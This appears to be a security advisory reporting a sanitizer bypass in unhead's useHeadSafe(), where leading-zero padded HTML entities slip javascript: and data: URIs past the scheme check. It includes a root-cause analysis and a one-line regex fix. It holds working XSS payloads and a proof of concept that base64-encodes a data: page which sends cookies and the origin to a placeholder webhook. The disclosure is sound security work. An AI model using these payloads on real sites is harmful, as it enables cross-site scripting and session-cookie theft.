Unhead has a hasDangerousProtocol() bypass via leading-zero padded HTML entities in useHeadSafe()

##EVIDENCE

<img width="1900" height="855" alt="Screenshot_2026-03-25_090729" src="https://github.com/user-attachments/assets/3da93464-1caf-46ca-818f-46f8fe32ab50" /> <img width="1919" height="947" alt="Screenshot_2026-03-25_090715" src="https://github.com/user-attachments/assets/b27b1fc3-fa89-4864-99c9-4e6cff9a4e40" /> <img width="1918" height="925" alt="Screenshot_2026-03-25_090759" src="https://github.com/user-attachments/assets/9b8c94fa-d4f7-412e-ba14-214bc4103f4c" /> <img width="1912" height="812" alt="Screenshot_2026-03-25_090824" src="https://github.com/user-attachments/assets/3a4e1002-8811-453a-b08c-dfd1e42ebcf0" /> <img width="1846" height="409" alt="Screenshot_2026-03-22_090617" src="https://github.com/user-attachments/assets/9a595e13-ed18-464a-9d1a-0bb71dec96c9" />

| Disclosed to Vercel H1 | 2026-03-22 (no response after 12 days) | | Cross-reported here | 2026-04-03 |

---

Summary

useHeadSafe() is the composable that Nuxt's own documentation explicitly recommends for rendering user-supplied content in <head> safely. Internally, the hasDangerousProtocol() function in packages/unhead/src/plugins/safe.ts decodes HTML entities before checking for blocked URI schemes (javascript:, data:, vbscript:). The decoder uses two regular expressions with fixed-width digit caps:

// Current — vulnerable
const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi
const HtmlEntityDec = /&#(\d{1,7});?/g

The HTML5 specification imposes no limit on leading zeros in numeric character references. Both of the following are valid, spec-compliant encodings of : (U+003A):

• : — 10 decimal digits, exceeds the \d{1,7} cap
• : — 7 hex digits, exceeds the [0-9a-f]{1,6} cap

When a padded entity exceeds the regex digit cap, the decoder silently skips it. The undecoded string is then passed to startsWith('javascript:'), which does not match. makeTagSafe() writes the raw value directly into SSR HTML output. The browser's HTML parser decodes the padded entity natively and constructs the blocked URI.

Note: This is a separate, distinct issue from CVE-2026-31860 / GHSA-g5xx-pwrp-g3fv, which was an attribute key injection via the data-* prefix. This finding targets the attribute value decoder — a different code path with a different root cause and a different fix.

---

Root Cause Analysis

Vulnerable code (packages/unhead/src/plugins/safe.ts, lines 10–11)

const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi   // cap: 6 hex digits max
const HtmlEntityDec = /&#(\d{1,7});?/g             // cap: 7 decimal digits max

Why the bypass works

The HTML5 parser specification ([§ Numeric character reference end state][html5-spec]) states that leading zeros in numeric character references are valid and the number of digits is unbounded. A conformant browser will decode : as : regardless of the number of leading zeros.

Because the regex caps are lower than the digit counts an attacker can supply, the entity match fails silently. The raw padded string (java:script:alert(1)) is passed unchanged to the scheme check. startsWith('javascript:') returns false, and the value is rendered into SSR output verbatim. The browser then decodes the entity and the blocked scheme is present in the live DOM.

---

Steps to Reproduce

Environment

• Nuxt: 4.x (current)
• unhead: 2.1.12 (current at time of report)
• Node: 20 LTS
• Chrome: 146+

Step 1 — Create a fresh Nuxt 4 project

npx nuxi init poc
cd poc
npm install

Step 2 — Replace pages/index.vue

<template>
  <div>
    <h1>useHeadSafe bypass PoC</h1>
    <p>View page source or run the curl command below.</p>
  </div>
</template>

<script setup>
import { useHeadSafe } from '#imports'

useHeadSafe({
  link: [
    // 10-digit decimal padding — exceeds \d{1,7} cap
    { rel: 'stylesheet', href: 'java&#0000000058;script:alert(1)' },

    // 7-digit hex padding — exceeds [0-9a-f]{1,6} cap
    { rel: 'icon', href: 'data&#x000003A;text/html,<script>alert(document.cookie)<\/script>' }
  ]
})
</script>

Step 3 — Start the dev server and inspect SSR output

npm run dev

In a separate terminal:

curl -s http://localhost:3000 | grep '<link'

Expected result (safe)

Tags stripped entirely, or schemes rewritten to safe placeholder values.

Actual result (vulnerable)

<link href="java&#0000000058;script:alert(1)" rel="stylesheet">
<link href="data&#x000003A;text/html,<script>alert(document.cookie)<\/script>" rel="icon">

Both javascript: and data: — explicitly enumerated in the hasDangerousProtocol() blocklist — are present in server-rendered HTML. The browser decodes the padded entities natively on load.

---

Confirmed Execution Path (data: URI via iframe, Chrome 146+)

Immediate script execution from <link> tags does not occur automatically — browsers do not create a browsing context from <link href>. The exploitability of this bypass therefore depends on whether downstream application code consumes <link> href values.

This is a common pattern in real-world Nuxt applications:

• Head management libraries that hydrate or re-process <link> tags on the client
• SEO and analytics scripts that read canonical or icon link values
• Application features that preview, validate, or forward link URLs into iframes
• Developer tooling that loads icon URLs for thumbnail generation

Chrome 146+ permits data: URIs loaded into iframes even though top-level data: navigation has been blocked since Chrome 60. The following snippet — representative of any downstream consumer that forwards <link href> into an iframe — triggers confirmed script execution:

// Simulates downstream head-management or SEO utility reading a <link> href
const link = document.querySelector('link[rel="icon"]');
if (link) {
  const iframe = document.createElement('iframe');
  iframe.src = link.href; // browser decodes &#x000003A; → ':', constructs data: URI
  document.body.appendChild(iframe); // alert() fires
}

Full PoC with cookie exfiltration beacon

Replace ADD-YOUR-WEBHOOK-URL-HERE with a webhook.site URL before running.

<template>
  <div>
    <h1>useHeadSafe padded entity bypass — full PoC</h1>
    <p><strong>Dummy cookie:</strong> <code id="cookie-display">Loading…</code></p>
  </div>
</template>

<script setup>
import { useHeadSafe } from '#imports'
import { onMounted } from 'vue'

onMounted(() => {
  document.cookie = 'session=super-secret-token-12345; path=/; SameSite=None'
  const el = document.getElementById('cookie-display')
  if (el) el.textContent = document.cookie

  // Simulate downstream consumption: load the bypassed icon href into an iframe
  const link = document.querySelector('link[rel="icon"]')
  if (link) {
    const iframe = document.createElement('iframe')
    iframe.src = link.href
    iframe.style.cssText = 'width:700px;height:400px;border:3px solid red;margin-top:20px'
    document.body.appendChild(iframe)
  }
})

const webhook = 'https://ADD-YOUR-WEBHOOK-URL-HERE'

useHeadSafe({
  link: [
    {
      rel: 'icon',
      href: `data&#x000003A;text/html;base64,${btoa(`
        <!DOCTYPE html><html><body><script>
          alert('XSS via useHeadSafe padded entity bypass');
          new Image().src = '${webhook}?d=' + encodeURIComponent(JSON.stringify({
            finding: 'useHeadSafe hasDangerousProtocol bypass',
            cookie: document.cookie || 'session=super-secret-token-12345 (dummy)',
            origin: location.origin,
            ts: Date.now()
          }));
        <\/script></body></html>
      `)}`
    }
  ]
})
</script>

Observed result:

1. alert() fires from inside the iframe's data: document context
2. Webhook receives a GET request with the cookie value and origin in the query string
3. Page source confirms : is present unescaped in the SSR-rendered <link> tag

All testing was performed against a local Nuxt development environment on a personal machine. Cookie values are dummy data. No production systems were accessed or targeted.

---

Impact

1. Broken security contract

Developers who follow Nuxt's own documentation and use useHeadSafe() for untrusted user input have no reliable protection against javascript:, data:, or vbscript: scheme injection when that input contains leading-zero padded numeric character references. The documented guarantee is silently violated.

2. Confirmed data: URI escape to SSR output

A fully valid data:text/html URI now reaches server-rendered HTML. In applications where any downstream code reads and loads <link href> values (head management utilities, SEO tooling, icon preview features), this is confirmed XSS — the payload persists in SSR output and executes for every visitor whose browser triggers the downstream consumption path.

3. Forward exploitability

If any navigation-context attribute (e.g. <a href>, <form action>) is added to the safe attribute whitelist in a future release, this bypass produces immediately exploitable stored XSS with no additional attacker effort, because the end-to-end bypass already works today.

---

Suggested Fix

Remove the fixed digit caps from both entity regexes. The downstream safeFromCodePoint() function already validates that decoded codepoints fall within the valid Unicode range (> 0x10FFFF || < 0 || isNaN → ''), so unbounded digit matching introduces no new attack surface — it only ensures that all spec-compliant encodings of a codepoint are decoded before the scheme check runs.

- const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi
- const HtmlEntityDec = /&#(\d{1,7});?/g
+ const HtmlEntityHex = /&#x([0-9a-f]+);?/gi
+ const HtmlEntityDec = /&#(\d+);?/g

File: packages/unhead/src/plugins/safe.ts, lines 10–11

This is a minimal, low-risk change. No other code in the call path requires modification.

---

Weaknesses

CWE	Description
CWE-184	Incomplete List of Disallowed Inputs
CWE-116	Improper Encoding or Escaping of Output
CWE-20	Improper Input Validation

---

References

Source	Link
HTML5 spec — leading zeros valid and unbounded	https://html.spec.whatwg.org/multipage/syntax.html#numeric-character-reference-end-state
GHSA-46fp-8f5p-pf2c — Loofah allowed_uri? bypass (same root cause, accepted CVE)	https://github.com/advisories/GHSA-46fp-8f5p-pf2c
CVE-2026-26022 — Gogs stored XSS via data: URI sanitizer bypass (same class)	https://advisories.gitlab.com/pkg/golang/gogs.io/gogs/CVE-2026-26022/
OWASP XSS Filter Evasion — leading-zero entity encoding	https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
Chrome: data: URIs blocked for top-level navigation since Chrome 60; permitted in iframes	https://developer.chrome.com/blog/data-url-deprecations
Prior unhead advisory (different code path, context only)	GHSA-g5xx-pwrp-g3fv / CVE-2026-31860
Affected file	https://github.com/unjs/unhead/blob/main/packages/unhead/src/plugins/safe.ts